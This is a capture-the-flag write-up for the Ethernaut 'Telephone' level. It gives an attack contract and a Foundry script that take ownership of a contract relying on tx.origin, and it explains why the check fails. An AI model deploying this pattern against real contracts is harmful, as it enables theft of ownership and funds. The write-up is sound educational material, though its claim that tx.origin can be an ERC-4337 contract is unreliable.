# The Ethernaut CTF Solutions | 04 - Telephone

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/4-telephone-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/4-telephone-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}
```

## The hack

Pretty short contract this time.

The goal here is to understand the difference between `msg.sender` and `tx.origin`. The `Telephone` contract is vulnerable to a phishing attack because it uses `tx.origin` to check who initiated the transaction.

* `tx.origin` is the original sender of the transaction, the first account that signed the transaction. It can either be an EOA (Externally Owned Account) or an [ERC-4337](https://eips.ethereum.org/EIPS/eip-4337) contract. It is a static value that does not change, regardless of the number of calls in the stack (think nested transactions).
    
* `msg.sender` is the address that initiated the latest call in the transaction. It can change if the transaction is a call from another contract for instance. So if there are multiple calls following each other in the same transaction, `msg.sender` will always be the address that initiated the latest call, and its value will change with every new call made within this transaction.
    

### Example Explanation

1. **Direct Call (EOA to Contract)**
    
    * `EOA => Contract` | `tx.origin === msg.sender === EOA`
        
2. **Indirect Call (EOA through Contract1 to Contract2)**
    
    * `EOA => Contract1 => Contract2`
        
        * For `Contract1`: `tx.origin === msg.sender === EOA`
            
        * For `Contract2`: `tx.origin === EOA`, `msg.sender === Contract1`
            

In other words, we simply have to deploy an intermediary contract to bypass `tx.origin != msg.sender`. `tx.origin` will be our EOA while `msg.sender` will be the address of the intermediary contract.

## Solution

Write another contract that calls the deployed Telephone contract and passes in the new owner's address

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract MissedCall {
    address immutable telephone;

    constructor(address _telephone) {
        telephone = _telephone;
    }

    function attack() public {
        ITelephone(telephone).changeOwner(msg.sender);
    }
}
```

Now let's write the deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {MissedCall} from "../src/04_Telephone.sol";

interface ITelephone {
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace with your Telephone instance
    ITelephone tel = ITelephone(0x78511757104F75fE89E6F291cB86f553ff3b4207);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        MissedCall ring = new MissedCall(address(tel));
        console2.log("Current Owner: ", tel.owner());
        ring.attack();
        console2.log("New Owner: ", tel.owner());

        vm.stopBroadcast();
    }
}
```

All we have left is to run the script that will deploy our attack contract and launch the hack:

```bash
forge script script/04_Telephone.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## Takeaway

* Usage of `tx.origin` should be done with care, as it can lead to phishing attacks;
    
* Useful in certain cases where you want EOA accounts to call a function for example
    

## Reference:

[https://solidity-by-example.org/hacks/phishing-with-tx-origin/](https://solidity-by-example.org/hacks/phishing-with-tx-origin/)

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
